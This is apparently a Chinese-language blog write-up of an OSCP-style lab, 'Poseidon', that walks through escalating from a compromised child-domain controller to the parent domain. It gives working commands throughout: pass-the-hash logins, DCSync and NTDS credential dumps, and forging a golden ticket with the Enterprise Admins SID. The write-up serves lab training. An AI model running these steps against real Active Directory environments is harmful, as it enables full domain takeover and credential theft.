Challenge 8 - Poseidon(2)

 Challenge 8 - Poseidon(2)


目前三台電腦已拿下第三台子網域的 Member Server

以及第二台的子網域 Domain Controller 的 Domain Admins 帳號 administrator

下一步是朝向主網域的第一台 Domain Controller

參考這一篇文章 : https://cryptex.blog/posts/childtoea/

簡單一句話就是如果已經入侵到了子網域的 DC,那麼就可以拿下整個父域

手法是透過子網域的 krbtgt HASH 值與父域的 Enterprise Admin SID

透過 minikatz 製作黃金票證獲取 Enterprise Admin

事前準備工作需要的內容

 - 子網域的 KRBTGT HASH 值

 - 子網域中目標用戶的名稱

 - 子網域的 FQDN

 - Root Domain 的 Enterprise Admins 群組的 SID

 - mimikatz 工具

 - PowerView.ps1 模組

先使用之前獲取的子網域 Domain Admins 帳號 administrator 的 HASH 登入到子網域 DC

impacket-psexec -hashes :3bcdd818f7ec942ac91aa30d8db71927 administrator@192.168.232.162

然後修改 administrator 的密碼為 Oscp#1234,net user administrator Oscp#1234




匯入 PowerView.ps1 然後輸入 Get-ADTrust -Filter * 查看現有的 Trust 機制



使用 AD 管理工具一樣可以看到信任關係



看的出來是雙向信任的關係



也可以使用此指令查看,([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

都顯示 "bidirectional",表示是雙向信任的關係



子網域的 SID,Get-DomainSID,S-1-5-21-4168247447-1722543658-2110108262



使用 mimikatz 然後使用 lsadump::trust 也可以獲取 SID

子域 SID : S-1-5-21-4168247447-1722543658-2110108262

父域 SID : S-1-5-21-1190331060-1711709193-932631991



為了讓攻擊者授予自己 Enterprise Admin 許可權,只需在父域的安全標識碼 (SID) 的末尾添加 "-519" 即可。這允許欺騙系統將其帳戶識別為 Enterprise Admins 組的成員,即使實際上並不是該組的一部分

Enterprise Admin : S-1-5-21-1190331060-1711709193-932631991-519

或是直接用指令抓取 Enterprise Admins 的 SID

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" \| select distinguishedname,objectsid



mimikatz 使用 lsadump::dcsync /all /csv 可以抓取 KRBTGT 的 HASH

502     krbtgt  80f23a248d39b8cb93df3a4a2f4199a1        514


或是使用指令 lsadump::dcsync /user:sub\krbtgt 也可以獲取



最簡單也可以使用 crackmapexec 直接遠端 dump

└─$ crackmapexec smb 192.168.232.162 -u 'administrator' -p 'Oscp#1234' --ntds

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:80f23a248d39b8cb93df3a4a2f4199a1:::


先整理一下資訊

 - 子網域的 KRBTGT Hash : 80f23a248d39b8cb93df3a4a2f4199a1

 - 子網域的 SID : S-1-5-21-4168247447-1722543658-2110108262

 - 子網域的一個假使用者名稱 : administrator

 - 子網域的 FQDN : sub.poseidon.yzx

 - Root 網域的 Enterprise Admin SID : S-1-5-21-1190331060-1711709193-932631991-519

接著使用 mimikatz 創建黃金票證

mimikatz: kerberos::golden /user:Administrator /domain:<Sub Domain FQDN> /sid:<Sub Domain SID> /krbtgt:<Sub Domain KRBTGT Hash> /sids:<Enterprise Admin SID>

mimikatz: kerberos::golden /user:Administrator /domain:sub.poseidon.yzx /sid:S-1-5-21-4168247447-1722543658-2110108262 /krbtgt:80f23a248d39b8cb93df3a4a2f4199a1 /sids:S-1-5-21-1190331060-1711709193-932631991-519



載入黃金票證,kerberos::ptt ticket.kirbi



接著使用 Enter-PSSession 遠端連線 Enter-PSSession DC01

可以先 ping DC01 確認連線的 IP,以及 klist 看一下當前的票證與產生的一樣

遠端登入後 whoami 看一下還是原有的 sub\administrator 但是已經擁有 Enterprise Admin 的權限了,直接讀取 flag


mimikatz 先 dump administrator 的 HASH 8fea81a19d172de0c445c8072b9a1697

不過這個是 sub Domain 現在使用的 administrator 帳號 HASH



要拿到 Root Domain 的 Administrator HASH 使用 lsadump::lsa /inject

HASH : 2c1789f139eec8087da506a14b023ac4



測試看看 └─$ evil-winrm -i 192.168.232.161 -u 'administrator' -H 2c1789f139eec8087da506a14b023ac4

whoami 確認是 Root Domain 的 Administrator "poseidon\administrator"


impacket-psexec 也可以直接進去,└─$ impacket-psexec -hashes :2c1789f139eec8087da506a14b023ac4 administrator@192.168.232.161



也可以修改 Root Domain 的 Administrator 的密碼為 Oscp#1234



然後測試看看



可以直接 impacket-psexec 進去了




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)